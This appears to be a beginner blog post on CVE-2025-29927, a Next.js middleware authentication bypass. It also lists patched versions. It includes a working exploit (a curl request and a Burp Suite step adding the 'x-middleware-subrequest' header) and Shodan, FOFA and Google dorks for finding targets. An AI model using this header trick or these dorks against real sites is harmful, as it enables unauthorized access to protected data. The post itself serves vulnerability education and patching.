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🔒 CVE-2025-29927 – Middleware Bypass in Next.js Explained Simply

 📌 Introduction

CVE-2025-29927 is a critical vulnerability in Next.js, a popular open-source React framework by Vercel. This flaw allows attackers to bypass middleware-based authentication and authorization, gaining access to protected endpoints without permission. In this post, I’ll break it down simply for beginners and fellow developers.

 

💡 What is Next.js?

Next.js is a React-based framework that helps developers build fast, scalable web apps. It offers:

  • ⚡ Automatic Code Splitting – Sends only necessary code to the browser.

  • 🌐 SSR & SSG – Server-side rendering and static site generation for performance and SEO.

  • 🔗 API Routes – Handle backend logic within the same app.

  • 🛡️ Middleware – Add custom logic (auth, logging, redirects) before reaching routes.

 

🔐 Understanding Middleware in Next.js

Middleware runs before the request reaches a page or API route. Common uses:

  • ✅ Authentication & Authorization

  • 📊 Request Logging

  • 🔀 Header or URL Modifications

     

    ⚠️ What is CVE-2025-29927?

    This CVE allows attackers to bypass middleware authentication due to improper validation. An attacker can manipulate cookies or headers to skip login checks and access protected areas.

    🧪 How to Identify & Exploit It

    ✅ Step 1: Check if a site uses Next.js

    Use tools like:

  • Wappalyzer extension

  • Look for:

    • /_next/static/chunks/

    • Response header: X-Powered-By: Next.js

🚨 Step 3: Bypass Auth (Exploit)

Use curl: 

curl -H "x-middleware-subrequest: middleware:middleware:middleware" https://target.com/dashboard

 

Using Burp Suite:

  • Send request to Repeater.

  • Add the header:

    x-middleware-subrequest: middleware:middleware:middleware:middleware



    🕵️ Dorks for Target Discovery
    

    • 

      Shodan: x-middleware-rewrite, http.html:"/_next/static"
      

    • 

      FOFA: body="/_next/static"
      

    • 

      Google: inurl:"/_next" AND intext:"next.config.js"

🔥 Impact of CVE-2025-29927

  • 🚫 Unauthorized access to sensitive data

  • 🚀 Privilege escalation (admin access)

  • 💣 Full application compromise

📌 Affected Versions

VersionFixed In
Next.js 15.x15.2.3 or later
Next.js 14.x14.2.25 or later
Next.js 13.x13.5.9 or later
Next.js 12.x12.3.5 or later



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